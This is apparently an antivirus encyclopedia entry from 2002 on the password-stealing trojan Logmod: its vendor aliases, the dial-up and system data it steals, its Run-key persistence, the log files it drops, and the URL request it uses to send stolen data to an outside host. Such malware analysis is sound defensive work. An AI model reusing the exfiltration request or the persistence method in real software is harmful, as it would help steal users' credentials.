Aliases

Trojan-PSW.Win32.Logmod.a (Kaspersky Lab) is also known as: Trojan.PSW.Logmod.a (Kaspersky Lab), PWS-Logmod (McAfee),   PWSteal.Trojan (Symantec),   Trojan.PWS.Logmod (Doctor Web),   Troj/PWSMod-A (Sophos),   PWS:Win32/Logmod (RAV),   TROJ_LOGMOD.A (Trend Micro),   Win32:Trojan-gen. (ALWIL),   Trojan.Sysres.B (SOFTWIN),   Trj/Sysres (Panda),   Win32/PSW.Logmod (Eset)

Description added	Aug 16 2002
Behavior	PSW Trojan

Technical details

The Logmod program belongs to the family of password stealing trojans.

Logmod steals the following information: Windows version, Explorer version, phone book entries, service provider information, RAS data, modem log, e.t.c.

When run the trojan installs itself into the system. While installing the Logmod trojan registers itself in the system registry auto-run section:

 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  Sysres = Sysres.exe

The trojan does not copy/move its file to any other directory, thus it cannot automatically run on Windows boot-up (except if it is originally placed in the Windows or Windows system directory). Therefore, for example, it cannot "install" itself into the system while being run from email attachments. There should be an additional component ("dropper") that installs the trojan into the system.

To send stolen data out of infected computers the Logmod opens an Internet URL with the following request:

http://stats.internetsexprovider.com/resident/SysWeb.php3?country=espana4&Login=
%data%

'%data%' contains stings with stolen information that are sent to that URL. Apparently the SysWeb.php at that site gets %data% upon request and passes it to the trojan "master".

Miscellaneous
Logmod creates additional files in the Windows directory:

 SysTrace.daf, CallTrace.daf, DialTrace.daf

These files contain data that is logged/stolen.

The Logmod trojan also creates the following additional registry key for its internal use:

 HKLM\Software\DIALPASS
   DateEspana4